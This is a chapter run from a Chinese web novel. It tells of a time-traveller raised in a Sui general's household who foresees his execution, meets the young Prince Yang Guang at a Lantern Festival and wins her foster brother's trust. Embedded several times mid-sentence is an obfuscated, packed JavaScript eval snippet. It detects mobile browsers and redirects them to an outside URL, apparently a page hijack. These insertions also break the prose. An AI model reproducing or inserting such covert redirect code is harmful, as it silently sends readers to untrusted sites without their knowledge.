这具身体已经十五岁了。 我跟着老贺小贺去宫宴,太子杨勇的眼神像粘腻的刷子,扫过来时让人浑身不舒服。 席间,我母亲那边的一位薛家夫人,又特意过来与我“偶遇”。 她拉着我的手,亲热得仿佛我们昨日才一同绣过花:“锦儿出落得越发好了,到底是自家血脉。平日若有空,多来府里坐坐,姐妹们都想结识你呢。” 我笑着点头,手却没让她多握一会儿。 莫挨老子!塑料亲情演给谁看呢? 深夜回府,贺璟等在回廊暗处,递来披风:“风大。”我接过时,他又低声说:“以后这种场合,跟紧父亲。”顿了顿,“……或者,跟紧我。” 月光从廊檐斜照下来,他身形高大,几乎完全将我笼在阴影里。 二十二岁的贺璟,面容英挺,眼神沉静专注,已看不出半点少年时的模样。 我点点头:“知道了,阿兄。” 他“嗯”了一声,没再多说,转身走了。 云枝提着灯笼从后面赶上来,小声道:“小姐,方才吓死我了,还以为少爷要训话……” “训什么话?”我好笑。 “不知道……少爷不说话往那儿一站,我就、我就心里发毛。”云枝缩了缩脖子,灯笼的光跟着晃了晃,“你说奇怪不奇怪,我翻墙爬树、跟人过招都不怕,可一见少爷板着脸,就、就腿软……” 我乐了,这丫头功夫是学得不错,胆子怎么在某些事上一直这么小:“他训过你吗?” “那倒没有。”云枝老实摇头,“少爷话少,可从不无缘无故训人。就是、就是那眼神……太利了,像能看透人心里想什么似的。” “那你心里想什么了,怕他看?”我逗她。 “哎呀小姐!”云枝脸一红,跺脚道,“我就是……就是觉得少爷太严肃了嘛。你说,他是不是对谁都这样?” “大概吧。”我随口应道。 贺璟确实从小就这副沉稳样。十七岁时像二十七岁,现在二十二岁,倒有了三十二岁的持重。 “不过少爷对小姐倒是挺好的。”云枝又说,声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125704|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻的,“刚才等在这儿送披风,多细心呀。” “他是我阿兄,不对我好对谁好?”我理所当然道。 云枝“嗯”了一声,没再说话,只是提着灯笼,小心地照着前面的路。 至于薛家。 头两年他们铆足了劲想把我弄回去,看贺若弼铁了心护我,硬的不成,便换了软刀子。 隔三差五送些时兴首饰衣料,信里话也恳切,一口一个“血脉亲情”,邀我参加各种贵女的宴会。 我一次没去过。 东西能退就退,退不了就扔库房落灰。 云枝有次看着那些华丽料子,小声说:“小姐,其实那匹雨过天青的料子挺好看的……” “喜欢?”我挑眉。 她赶紧摇头:“不喜欢!她们送的东西,再好也不稀罕!” 我乐了,揉揉她脑袋:“这就对了。咱们不稀罕。” 我可没被这虚假的亲情迷了眼:他们只是想拿我当桥,去够贺伯伯手里的权柄。 想的美! 这些年,我脑子里那个时灵时不灵的“预知”毛病,渐渐被我摸出点门道。 它分两种。 一种是被动触发。没规律,防不胜防,但通常都跟我身边最在意的人有关。比如预见厨房点心馊了,或者贺璟在战场上可能受伤。像警报器,响了就得注意。 另一种是主动触发。这法子麻烦得很,得有条件。要么触碰到那个人本身,要么得摸着他贴身用过的东西,十天半月能憋出一回。出来的画面还经常模糊跳帧,像台信号烂透了的破电视。 更要命的是,用完之后整个人跟被掏空了一样,头晕眼花,至少得昏睡大半天才能缓过来。 体验极差,售后为零。 所以不到万不得已,我绝不轻易动用这招。 毕竟在贺家,突然昏死半天,解释起来太麻烦。 被动预警帮我避过不少小麻烦。像有一次预见贺璟会被流矢伤到手臂,我提前把他护臂系带换了更结实的。他回来时伤了,但偏了一寸,不碍事。 嗯,深藏功与名,不愧是我。 但这些都是小打小闹。 直到那天。 贺若弼下朝回来,脸色沉得能拧出水。我照常过去帮他解披风,指尖刚碰到他衣袖—— 眼前猛地一黑! 画面炸开:金銮殿上,贺若弼正和一个东宫属官激烈争执,他脸色铁青,句句如刀。最后定格在皇帝冰冷不悦的脸上。 被动预警,最高级别。 我猛地缩回手,心跳快得要从嗓子眼蹦出来。 贺若弼察觉:“怎么了?” “……没事,手滑。”我低头退开,掌心全是冷汗。 那晚我睁眼到天明。 以前那些预警是躲石子。 这次,是看见整座山要塌下来砸这个家。 突然想起史书白纸黑字:贺若弼,因言获罪,赐死。 我能改吗? 凭这破预知?真能撬动既定的历史? 不行,不能怂! 贺伯伯要是没了,这个家就垮了。贺璟怎么办?我怎么办? 去他的历史!来都来了,还能眼睁睁看着家里完蛋?这破命,我偏要拧过来试试! 从今天起,耳朵得竖起来,眼睛得擦亮。 贺伯伯每天见了谁,说了什么,朝堂又起了什么风。 我得弄明白。 那把要命的刀,到底是怎么悬到他脖子上的。 然后—— 把它挪开! 5. 主角登场 决定了要动,才发现第一步就难如登天。 我一个养在深闺的“义女”,总不能天天追在贺若弼后头问:“贺伯伯,今天上朝谁骂您了?陛下脸色怎么样?”那不像话,也必定引起他警觉。 直接闯书房翻看文书?更是下下策,一旦被发现,信任全无。 不过转机来得很快。 那日,他下朝回来,面沉如水,连最爱的炙羊肉都没动几筷。夜里,我借口送安神汤去书房,在门外听到他压抑着怒气对贺璟低喝: “……东宫如此奢靡无度,亲近佞幸!我受陛下厚恩,难道眼睁睁看着?!” 我手一抖,汤碗边缘烫了手指。 果然!根子在这里! 老贺是武将,又是直臣,哪懂什么怀柔迂回,眼里见不得沙子,心里憋不住火。太子这般行径,在他看来简直是往陛下脸上抹黑,这暴脾气,不发飙才怪。 而太子杨勇这人,我在宫宴上见过几次,抛开史书后来对他“宠妾灭妻”、“奢侈无度”的盖棺定论,单看那副被酒色和奉承泡得有些浮泛的仪态,确实一副难堪大用的样子。怪不得后面让杨广夺了权…… 可我知道结局,他们不知道啊。 然后我听见贺璟开口,声音压得很低,却清晰:“父亲,太子即便有失,可他毕竟是储君,陛下可训诫,父亲身为臣子,切不可言辞过于激烈,更不可……当众屡次进言,徒惹猜忌。” 我贴在门外,心里稍稍一松。 幸好,还有个清醒的。 年节刚过,长安城还沉浸在最后一点慵懒的年味里,一则消息却像投入静湖的石子,激起了层层涟漪。 晋王杨广回京了。 这七个字砸进耳朵里时,我正在喝一碗杏仁酪,勺子“当啷”一声磕在碗沿上。 云枝吓了一跳:“小姐?” “……没事,手滑。”我放下勺子,杏仁酪的甜腻忽然堵在喉咙里,咽不下去。 过去五年过得太舒服了,练武、读书、跟着贺伯伯听那些军国大事,偶尔还能翻墙出去吃碗胡饼。我几乎要忘了自己穿的是个什么剧本。 现在好了,主角登场。我那位史书上的“暴君老公”,提前进京了。 “宫里的消息?”我声音有点干。 “满城都在传呢!”云枝压低声音,“说是陛下特意召回来的,要留在长安住一阵子。茶楼里都在说……这是敲打太子殿下呢。” 我扯了扯嘴角。 谁不知道太子杨勇这几年越发荒唐?宠妾灭妻,用度堪比帝宫,还养着一班江南来的乐工,日夜笙歌不绝。陛下明里暗里劝过几次,太子当面唯唯,转头照旧。 如今把这个在江南干得风生水起、名声好得挑不出错的晋王叫回来,意思还不明白吗? 东宫那位,得醒醒了。 史书上确实也这么写的,杨勇作死,杨广装乖,最后成功上位。 然后呢? 然后大隋朝被杨广活活作没了。 而我,按照剧本,得在他身边亲眼看着这一切发生,再像个物件一样被抢来抢去,从皇后变成俘虏,最后凄凉终老。 “小姐,你脸色怎么这么白?”云枝担忧地凑近,“是不是杏仁酪不新鲜?我这就去换……” “不用。”我按住她的手,深吸一口气,强行把脑子里那些关于未来的、血淋淋的画面压下去。 慌没用。 怕更没用。 杨广回京是大事,但对我来说,眼下有更要命的事。 我闭上眼,脑海里清晰地回放几天前那个预警,金銮殿上,贺若弼因言获罪,皇帝震怒。那才是悬在头顶、随时会落下来的刀。 至于杨广?他刚回长安,第一步肯定是忙着在陛下和朝臣面前刷好感、扮贤王,跟太子斗法。离他需要娶“萧皇后”来巩固地位、彰显正统,至少还有一两年的时间窗口。 问题得一个个解决。 先救眼前的,再想将来的。 晚饭时,饭桌上的气氛有些微妙。 贺若弼皱着眉扒了口饭,像是自言自语,又像是说给贺璟听:“晋王此番回京,听说只带了寥寥随从,车驾简朴,径直入宫谢恩,未有丝毫张扬。” 贺璟“嗯”了一声,没接话,只是安静吃饭。 我却注意到,老贺的眉头皱得比平时紧。 我太了解他了。 他皱眉不是因为什么“站队”或“担忧朝局风向”。贺若弼心里压根没那些弯弯绕绕的肠子。他就认死理,脑子里就两根笔直的筋,雷打不动: 第一,忠君。他眼里的“君”只有御座上那一位,陛下的剑锋指哪儿,他打哪儿。太子是储君,是未来的君,所以他见太子行事荒唐,该谏就谏,这是本分。至于太子听不听、陛下恼不恼,那是另一回事。他尽了本分,心里就踏实。 第二,见不得不平事。这是刻在他骨头里的脾气。谁做事不公、欺压良善、祸害百姓,他知道了就得管,就得说。管你是太子属官还是皇亲国戚,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说我“梦见”的?一次两次还行,这么要命的事,他信不信是一回事,就算信了,我又该怎么解释这“梦”的来历? 得让他亲眼看见,或者……亲身体验到那种“预知”的真实性。 我放下筷子,看了看对面安静吃饭的贺璟。 我们是家人,是并肩练武五年的“战友”,是能一起商量正事的同伴。 可“预知未来”这种事……毕竟太离奇了。 好在,如今正是年节,不上朝。贺伯伯暂时没有触怒陛下的机会。 我还有点时间。 能缓缓,容我想个更周全的法子,找个更合适的时机,让贺璟亲眼看到点什么,然后……说服他和我一起,把贺伯伯从那个既定的悲剧里拽出来。 至于杨广? 你先忙着你的夺嫡大业吧。 我这儿,先得保住我的家。 6. 上元灯会 今日是上元,天刚擦黑,外头的动静就压不住了。爆竹声、欢笑声,像潮水一样往院子里漫。云枝眼巴巴地望着我,那眼神,跟等着开饭的小狗似的。 我心里也痒得不行,憋了这些天,正好出去透口气。于是手脚麻利地换了身利落男装,把头发一束,扣上个玉冠,带着云枝就从侧门溜了出去。 巷子口光线昏暗,我刚踏出去半步。 “咚。” 结结实实撞进一个人身上,额头磕得生疼。 我捂着脑袋抬眼,正对上一双低垂的眸子。 贺璟。 他不知什么时候杵在这儿的,一身玄青常服,身姿笔挺,融在巷子的阴影里,活像个专门蹲点的门神。 “阿兄?”我有点被抓包的心虚,但更多的是“你怎么在这”的疑惑。 贺璟的目光在我脸上停了停,又扫过我身上不伦不类的男装,最后落在我头顶那摇摇欲坠的玉冠上。 他嘴角似乎极轻微地动了一下,又迅速平复,变成那张惯常的、没什么表情的脸。 “父亲让我看看,”他声音四平八稳,听不出情绪,“府里两只不安分的……是不是又趁黑扑腾出去了。” 懂了,贺伯伯是怕我们乱跑出事,又拉不下面子亲自来逮,就把这“看孩子”的活儿派给家里最靠谱的“大人”了。 “阿兄,”我立刻换上诚恳的表情,“来都来了,你就别端着了。你带队,我们绝对服从指挥。不然我俩自己乱跑,万一真走丢了,你怎么跟贺伯伯交代?” 贺璟看看我写满“就要拉你下水”的脸,又看看旁边拼命点头附和的云枝,那副冷峻表情终于松动,泄出点又好气又好笑的无奈。 “……只此一次。”他最终松口,转身,朝那片灯火流淌的长街走去,只丢下两个字: “跟紧。” 搞定。 我和云枝交换了一个心照不宣的眼神,小跑着跟了上去。有贺璟在,安全有保障,还能蹭个“向导”,这波不亏。 长街人山人海,各色灯笼晃得人眼花,各种小吃的香气混在一起,勾得人馋虫直冒。 贺璟不怎么说话,但每当人潮涌过来时,他总会不动声色地侧过身,用肩膀和手臂隔开拥挤。 嗯,保镖很尽责。 今夜的长安几乎是倾城而出,威力堪比早高峰地铁。一个卖糖人的摊子前人堆忽然骚动,我下意识伸手去抓贺璟衣袖。 抓了个空。 再抬头,那袭玄青身影已被人潮裹挟着推远了几步。他立刻回头,眉头蹙得能夹死蚊子,目光锁住我,明显要往回挤。 “公子!公子看看这兔儿灯呀!”旁边冷不丁冒出个挎着篮子的少女,笑盈盈拦住他,手里一盏粉兔子灯几乎要戳到他脸上。 就这一耽搁的功夫,又一股人浪涌来。 很好,彻底冲散了。 我踮着脚,在无数后脑勺中寻找目标,终于对上了贺璟隔着人海投来的视线,他朝我比了个明确的手势:站那儿,等着。 行吧。 我撇撇嘴,老实站在原地,云枝紧紧挨着我,怕我俩再被人潮冲散。 我百无聊赖地打量四周。这一看,目光就黏住了。 那是一间新开张的铺子,黑底金字的招牌,“春月阁”。门前围了不少人,一个管事模样的人正高声说着什么。 原来是店家为贺上元,拿一支镇店的白玉簪作彩头,行“飞花令”。规矩简单:出与“春”或“月”相关的佳句,能得满堂彩、获在场才俊一致推举者,便能得此簪。 我踮脚往人群里望。那支白玉簪正静静躺在铺子中央的高台上,支在深蓝的丝绒上,被四周明晃晃的灯火照得温润生光。 木槿花的样式,层层叠叠的花瓣舒展着。 我呼吸停了一拍。 太像了。不,简直是一比一复刻。 穿越前在博物馆打杂时,我在一本内部图册里见过一支隋代白玉木槿簪的残件照片。那簪子出土于某座倒霉催的隋墓,只剩半截,可那清雅舒展的花形、特有的游丝毛雕技法,让我这个半吊子历史生都印象深刻。 图注说它可能是墓主人生前心爱之物,发现时紧紧握在遗骸手里。 眼前这支,完好无损,在明明灭灭的灯火下流转着温润内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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上辈子熬夜写关于隋炀帝的课程论文时,我在故纸堆里扒拉出过他的几联残诗。史家评他“文采艳发”,却因亡国之君的身份,诗作大多散佚。唯独这几句关于江月的描写,因为气象的确不俗,偶尔被后世文人拎出来提一嘴。 这是杨广的诗。 是那个二十七岁、尚未龙袍加身、还是晋王时的杨广的诗。 我像是被什么无形的力量牵引着,缓缓转过头。 7. 青年暴君出场 灯火阑珊处,一位青衫公子负手而立。 二十六七岁年纪,身姿挺拔如修竹,眉目舒朗似精心描摹的画。他站在沸反盈天的人潮边缘,却自有一方天地般的清寂从容。那不是刻意摆出的孤高,而是长久居于人上、视喧嚣如流水般的平静。 他也在看我。 目光相接的刹那,我脑子里那些史书上的标签——“暴虐”、“荒淫”、“好大喜功”,噼里啪啦碎了一地。 眼前这个人,眼底沉着洞察世情的明光,唇角噙着恰到好处、令人如沐春风的浅笑。他是活生生的、正在权力巅峰谨慎攀爬的晋王杨广,一个聪明绝顶、敏锐犀利、且极其懂得如何展现自身魅力的顶级皇子。 一个清晰的念头瞬间击中了我: 这就是我未来那位“暴君”丈夫? 等等。 这颜值……隋朝的大帅哥难道是批发的吗? 那管事已抚掌赞叹:“妙极!‘流波将月去,潮水带星来’,动静相生,浑然天成!与方才小公子那句‘春江潮水连海平’竟是绝配,相映生辉,仿佛一人所作!” 杨广,是他,绝对是他,含笑微微颔首,目光却始终没有离开我的脸:“小公子起句,七字开阖,颇有我朝开皇盛世的气象。”他向前踏了半步,距离微妙地拉近,声音不高,却清晰入耳,“不知……可还有下文?” 开皇气象。 他用的是当今年号,却一语双关,既赞诗句有本朝蒸蒸日上的气度,又暗合“开创皇图”的野望。 我脑子有点乱。 那些史书上的字句,“炀帝骄奢”、“三征辽东”、“天下疲敝”,此刻沉甸甸地压在心头。 我知道他未来会做什么。挖运河,征高丽,活生生把江山拖垮。 可眼下,他一身青衫,立在阑珊灯火里,眉眼舒展,谈吐清雅,浑身上下透着“礼贤下士”的气度。 明明知道是个未来要把天捅破的大反派,可他现在装得……还挺像那么回事。 离谱。 太离谱了。 我忽然想起上辈子教授在讲隋炀帝时说过的话:“年轻时的杨广,是出了名的‘美姿仪,性敏慧’。在江南十年,他不仅把江都治理得井井有条,还在文人圈子里赢得了极高声誉。你们要记住,一个能把江山玩没了的皇帝,绝不可能是单纯的蠢货。” 那时我只当是知识点,现在看着眼前这个人,那句话突然有了重量。 “一时触景,”我终于找回了自己的声音,“只有这灵光一闪,让阁下见笑了。” 杨广笑了。 “可惜。”他说道,语气里是真切的惋惜。随即,他伸手,自然而然地取过那支白玉木槿簪,仿佛那物件生来就该由他拿起。然后他走到我面前,抬手。 “此物当赠解语人。” 微凉的指尖极其短暂地轻触过我鬓边发丝……那支白玉木槿簪已经稳稳插在了我的发冠之旁。 “虽是小公子妆扮,”他退后半步,煌煌灯火落进他深邃的眼眸中,漾开一点难以捉摸的微光,“但这白玉木槿……清雅别致,很衬你。” 说罢,他从容地拱手一礼,转身便没入了流光溢彩、笑语喧阗的人潮之中,眨眼不见了踪影。 我怔在原地,指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125707|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖下意识触到发间那抹微凉。 这算什么? 定情信物?未来暴君的死亡预告?还是……单纯的撩闲? 雕花的棱角贴着皮肤,存在感鲜明得让人心悸。云枝凑近,声音发紧:“小姐,那人……他……” “锦儿。” 贺璟不知何时已挤了回来,气息微促,显然找得急切。云枝见到他,明显松了口气。 我抬眼,他已不动声色地挡在我和云枝身前,隔开了可能的人群碰撞。 “你认得他?”贺璟目光掠过我发间,语气平静。 我顺着他的视线望去,长街尽头,灯火阑珊处,早已空无一人。 “晋王,杨广。” 我没多言,只说了这四个字。 许是我语气太沉,脸色太凝重,贺璟大概没见过我这幅不嬉皮笑脸的样子。 街市喧嚣,人声沸反。 我们之间却倏然静了下来。 贺璟的呼吸顿了一下,“你久居后院,晋王又刚到长安,你如何会认得他?” “先回府。” 他没等我回答,只低沉地吐出这三个字,便护着我往人潮边缘走。他的手臂稳稳隔开拥挤,带着不容置疑的力道。 我点头,随他转身。走了几步,终究还是回头望了一眼。 那片灯火璀璨处,依旧人影交织,笙歌不绝。 仿佛方才那场短暂的相逢,只是浮光掠影里一段无关紧要的插曲。 我抬手,指尖轻触簪身。 凉的。 在提醒我—— 史书里那个名字,活了。 8. 找到同谋 打发云枝先回屋歇下,我和贺璟进了书房。 门窗合拢,将外头的喧嚣彻底隔开。他倒了杯热茶推到我面前,自己则坐在对面,烛火在他沉静的眉眼间跳跃。 我喝了一口,等那点从灯市带回来的寒意散得差不多了,我才放下茶盏,手却不自觉地抬起,触到发间那支白玉木槿簪。 指尖一凉。 杨广…… 这个名字在脑海里一掠而过,带着某种不真实感。 纸片人活了。 一个时辰前,那个在史书上被钉了千年的名字,就活生生站在我面前,把簪子插进我发间。他眼底有洞察世情的明光,唇角有恰到好处的浅笑,他会接我的诗,会说“很衬你”。 他不是史书里干巴巴的“炀帝”两个字。 他是会呼吸、有温度、聪明得让人心悸的活人。 我甚至还记得他指尖擦过我鬓发的温度。 其实,从来到这个世界的第一天起,那个结局就像一块沉重的石头压在我心头。 史书给我安排得明明白白,嫁给杨广,看着他作死把大隋整没,然后在江都变寡妇,接着像件贵重物品似的被宇文化及、窦建德、突厥可汗轮流抢,半辈子飘零,最后在长安某个角落默默老死。 可这些年在贺家,日子过得太舒坦了。 老贺看着凶,其实心软得很;贺璟话少,但办事靠谱。我差点就真把自己当成贺家闺女,忘了自己头上还顶着“未来萧皇后”这口大锅。 哪怕前几天听到杨广回京的消息,我还安慰自己:他回来就回来,长安这么大,未必能碰上。就算真要嫁,那也是两年后的事,还有时间,大不了真到那一天,我就跑。 可现在…… 直到今夜,这支本该躺在博物馆展柜里的簪子,就这么“巧合”地被他亲手插在我头上。 几个意思啊? 打卡签到? 提醒我‘萧锦同学,别摸鱼了,主线剧情快开始了’? 我闭上眼,深吸了口气,把那些乱七八糟的念头强行摁下去。 不。 现在不是琢磨我自己那破未来的时候。 现在最要命的,是老贺。 是那个把我从火坑里拉出来、给我一个家的养父。 史书上那笔“赐死”的记载,还有我碰到他时脑子里闪过的要命画面…… 我得救他。 我需要帮手。 一个能信我,也能做事的人。 我睁开眼,目光落在对面贺璟脸上。 烛光里,他眉目沉静,既有少年将军的锐气,又透着超越年龄的沉稳。 这五年,我从十岁长到十五,他从十七长到二十二。我们一起蹲过马步,一起挨过老贺的骂,一起在沙盘前推演过那些弯弯绕绕的线。 我知道他话少,但说出来的每个字都算数。 我知道他重情,把贺家看得比什么都重。 我更知道,就算我说出再离谱的话,他也会先听完,再判断。 这种信任不是凭空来的。是这五年里,他一次次把我从墙头拎下来,又一次次在我摔得灰头土脸时,伸手拉我起来,慢慢攒下来的。 他是老贺在这世上最深的牵挂,也是我现在……唯一能抓住的,或许愿意听我说疯话的人。 赌一把吧。 就今晚! 杨广那支簪子都递到眼前了,不就是最好的开场白吗? 就从他这儿切入,给他爆个大的! “你刚刚问我,为何会认得晋王?” 我往前倾了倾身,声音在安静的室内清晰得几乎能听见回音: “因为……我见过他坐在太极殿上,戴着十二旒冕,身着玄衣纁裳的样子。” “阿兄,若我说,我能看见一些……尚未发生的事,你信吗?” 贺璟叩着桌面的手指,倏然停住了。他看着我,眼神很深,像在掂量我话里有多少是真,又有多少是失心疯。 我迎着他的目光,没躲。 来吧,要爆就爆个彻底的。 “我看见……一条白绫,挂在东宫的梁上。” “我看见陛下驾崩。” “然后我看见,晋王穿着龙袍,坐上了太极殿的宝座。” 每说一句,屋里的空气就更沉一分。 “我还能看见……”我顿了顿,前面那些关于太子、关于皇位的话都只是引子。现在,我终于要把真正压得我喘不过气、也最想让他知道的事,说出来了。 那不是飘渺的国运,而是近在咫尺的家破人亡。 “我看见贺伯伯会在金銮殿上,因太子之事犯颜直谏,字字如刀,句句见血……陛下震怒,当廷掷下玉笏。” “随后,”我的声音沉了下去,却异常清晰,“是削爵、夺职、下诏狱。最后……” 我抬起眼,看进贺璟骤然收缩的瞳孔里: “一杯鸩酒,死在……自己尽忠了一辈子的君王手里。” 话落,我自己后背都窜起一股凉意。 好家伙,我这语气,跟上辈子校门口摆摊算命的大爷似的,十块钱一卦,专唬老实人…… 我哪儿知道老贺具体怎么死的?史书就写了个“赐死”,细节全靠我现场编。 但结局是真的啊! 管他过程呢,先编得像模像样,唬住他再说! 贺璟扶着桌沿的手背,青筋一根根暴了起来。 他盯着我看了半晌,久到我都以为他要掀桌子了,才从牙缝里挤出几个字: “萧锦,”他叫了我的全名,“你知道你在说什么吗?” “我知道。”我迎着他的注视,不闪不避,“空口无凭,你自然不会信。所以……我们验证一次。” 我伸出手,掌心向上,稳稳地摊在他面前。 拼了! 启动我的“主动预知”技能! 这玩意儿十天才能用一次,用完还得昏睡大半天,副作用大得很……但眼下,没有比这更能取信于他的办法了。 “握住我的手。”我看着贺璟,声音清晰,没有半点玩笑的意思,“然后,集中精神去想明天,你要去哪里,办什么事。我能‘看’到你路上会遇到什么。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125708|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这就是我的赌注。 用一次珍贵的机会,换他一个相信。 他信了,我们才能联手救贺伯伯;他不信……那我就真成他眼里的疯子了。 他盯着我的手,目光沉沉,里面翻涌着难以置信和深重的疑虑。 但最终,他还是缓缓抬起手,将掌心覆了上来。 温热,粗糙,带着常年握兵器磨出的硬茧。 就在肌肤相触的刹那,那股熟悉的抽离感猛地袭来。 画面强行挤入脑海: 我看见:贺璟明日去兵部,会在永兴坊街口被一辆失控的草料牛车逼到角落。马会踩中孩童玩的铁弹丸失蹄,他控缰时左臂会撞上酒肆新招牌,被上面的毛刺划出一道口子。最后是位姓冯的武侯长带人解围。 几息之后,我猛地抽回手。 脸色瞬间煞白,额角冒汗,强烈的虚脱和眩晕让我眼前发黑。 副作用来了……得快走,不能晕在这儿! 我强撑着,把刚才“看”到的画面,一五一十、细节分明地复述了一遍。 “……就这些。”说完,我声音都有点飘了,“明日……你亲自去验证。若都对得上……阿兄,请你一定信我。” 我扶着桌沿,摇摇晃晃地站起来: “现在……我得去躺会儿。明天……等你消息。” 不等他反应,我几乎是踉跄着冲出了书房。 再不走,真得当场表演昏迷了…… 那也太难看了! 那一夜,我昏昏沉沉的,睡得像死过去一样。中途好像听见云枝进来给我掖过被子,小声嘀咕了句什么,我也没力气应。 再睁眼时,已经是第二天晌午了。 阳光透过窗棂照进来,有点刺眼。我浑身骨头像是被拆过一遍,又酸又软,脑袋也昏沉得厉害。 这破技能的后遗症,每次都比宿醉还难受…… 云枝那小丫头搬了个绣墩坐在我床边,正低头专心玩着几颗不知道从哪儿找来的彩色石子,嘴里还哼着不成调的小曲儿。 我刚想开口叫她倒杯水,房门就“砰”一声被猛地推开了! 贺璟大步闯了进来,带着一身外面的尘土气,骑装都没换。 他脸色沉得吓人,目光像钩子一样,瞬间就锁定了还瘫在床上的我。云枝吓得手一抖,石子哗啦掉了一地,慌忙站起来:“少、少爷……” 贺璟根本没看她,径直走到我床边。 什么也没说,直接抬手,利落地将左边袖口捋到肘间。 左小臂外侧,一道寸许长的刮伤赫然在目。伤口不深,但血痕新鲜,周围皮肤红肿,与我昨天“看见”的位置、形状,分毫不差。 他放下袖子,声音低沉,带着一种破釜沉舟般的凝重: “永兴坊街口,失控的牛车,踩中的铁丸,新挂的酒肆招牌……还有那姓冯的武侯长。” 他顿了顿,每个字都砸得极重: “全对上了。” “现在,”他俯身,目光紧紧攫住我,不容我有半分闪躲,“告诉我,你‘看见’的未来,到底怎么回事。” 9. 坑爹进行时 午后微白的光漫进书房,四下安静。 贺璟放下了袖子。那道伤成了一道不响的证词,结结实实地摆在了我们中间。 有些东西在这一刻被砸实了。我们之间那层“兄妹”的薄纸被捅破,露出来的,是必须背靠背、互为倚仗的利害同盟。 “云枝,”我清了清干涩的嗓子,“你先出去,在门口守着。” 云枝飞快地瞥了一眼贺璟,又看了看我,乖巧地应了声“是”,低着头退了出去。 屋里只剩我们两人,沉默再次弥漫。 他站在原地等我开口,而我……心里疯狂蛐蛐。 ‘贺璟啊,道理我都懂,但你能不能……先出去一下?’ ‘我穿着这身中衣,虽然放现代也就是个睡衣,连吊带都不如,可这是古代啊大哥!’ ‘你就这么杵在这儿,我很尴尬啊!’ 我尽量自然地清了清嗓子:“阿兄……能否,容我先更衣?” 贺璟的目光在我身上顿了一下,像是才意识到什么,倏地随即移开视线。 “……我在外面等。” 他声音有些发紧,说完便转身,步伐比进来时略显匆忙地退了出去,还体贴地重新关好了门。 我松了口气,赶紧爬起来。 手脚还是发软,但比刚醒时好多了。胡乱套上外裙,系好衣带,又对着铜镜把睡得乱七八糟的头发草草拢了拢。 行了,虽然形象依旧不佳,但至少能见人了。 “阿兄,进来吧。” 门被推开,贺璟重新走了进来。 我们隔着书案重新坐下,中间是那摊开的、不容置疑的证据,他手臂上的伤,和我昨日一字不差的预言。 他往前倾了倾身,压低的嗓音在寂静中显得格外清晰: “你昨晚说,晋王会坐上那个位置。什么时候?” 我想了想史书记载:“快的话,三四年。” 他沉默片刻,又问:“那爹……是在那之前?” “嗯。”我点头,“新旧更替前,党争最烈的时候。” “父亲是重臣。”他声音发哑,像在说服自己,“陛下就算动怒,也不至于……” “因为不止一次。”我打断他,想起那些闪回画面里贺若弼一次比一次激动的神情,“贺伯伯会屡次进言。为太子奢靡,为东宫佞幸,为江南加征……一次比一次说得重。到最后,陛下会觉得……他是在挑战君威,在逼宫。” 贺璟闭上了眼,胸口起伏。 他听懂了。 许久,他睁开眼,“你想怎么做?” “我不知道具体该怎么做。”我摇头,“只知道第一次就在五日后的常朝。” “常朝?”贺璟算了下日子。 “对,日常议事。”我解释道,“那天朝会上,太子会奏请陛下,对关陇旧地推行更严的‘均田稽查’,彻查田亩隐匿,好给朝廷多添些钱粮。” 贺璟眉头立刻拧紧了:“这事……陛下这些年确实想动这些世家。” “关键就在这里。”我压低声音,把话说得更直白: “陛下想动世家的田产人口,不是一天两天了。太子这招‘彻查田亩’,正好挠在陛下的痒处,看起来是‘为父分忧’,孝顺又能干。” 贺璟眉头紧锁:“你是说,太子纯粹是为了讨好陛下?” “讨好是表面,”我摇头,“算计才是真的。关陇那几家,如今也不是铁板一块。有死心塌地跟着太子的,就有瞧不上他、甚至暗中跟别人眉来眼去的。” 我往前凑了凑,声音压得更低: “如此一来,太子既能打着‘朝廷新政’的旗号,把那些不听话的关陇家族往死里整,换上他自己的人;又能借查抄、追缴的名义,狠狠捞一笔钱,填他东宫那个无底洞;最后,还在陛下面前立了个‘雷厉风行、忠孝两全’的人设。” “一石三鸟。”贺璟的声音冷了下来。 “对。”我点头,“所以这刀子,陛下乐意递,太子急着接。两边一拍即合。” “那爹……”贺璟的喉结滚动了一下。 